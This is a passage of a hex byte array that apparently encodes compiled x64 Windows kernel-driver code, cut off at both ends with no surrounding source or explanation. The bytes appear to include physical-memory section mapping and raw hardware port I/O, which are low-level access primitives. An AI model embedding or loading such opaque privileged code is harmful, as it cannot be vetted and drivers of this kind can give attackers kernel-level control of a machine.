0x43, 0x2C, 0x0F, 0xB7, 0x45, - 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, - 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, - 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, - 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, - 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, - 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, - 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, - 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, - 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, - 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, - 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, - 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, - 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, - 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, - 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, - 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, - 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, - 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, - 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, - 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, - 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, - 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, - 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, - 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, - 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, - 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, - 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, - 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, - 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, - 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, - 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, - 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, - 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, - 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, - 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, - 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, - 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, - 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, - 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, - 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, - 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, - 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, - 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, - 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, - 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, - 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, - 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, - 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, - 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, - 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, - 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, - 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, - 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, - 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, - 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, - 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, - 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, - 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, - 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, - 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, - 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, - 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, - 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, - 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, - 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, - 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, - 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, - 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, - 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, - 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, - 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, - 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, - 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, - 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, - 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, - 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, - 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, - 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, - 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, - 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, - 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, - 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, - 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, - 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, - 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, - 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, - 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, - 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, - 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, - 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, - 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, - 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, - 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, - 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, - 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, - 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, - 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, - 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, - 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, - 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, - 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, - 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, - 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, - 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, - 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, - 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, - 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, - 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, - 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, - 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, - 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, - 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, - 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, - 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, - 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, - 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, - 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, - 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, - 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, - 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, - 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, - 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, - 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, - 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, - 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, - 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, - 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, - 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, - 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, - 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, - 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, - 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, - 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, - 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, - 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, - 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, - 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, - 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, - 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, - 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, - 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, - 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, - 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, - 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, - 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, - 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, - 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, - 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, - 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, - 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, - 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, - 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, - 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, - 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, - 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, - 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, - 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, - 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, - 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, - 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, - 0xF6, 0xC1, 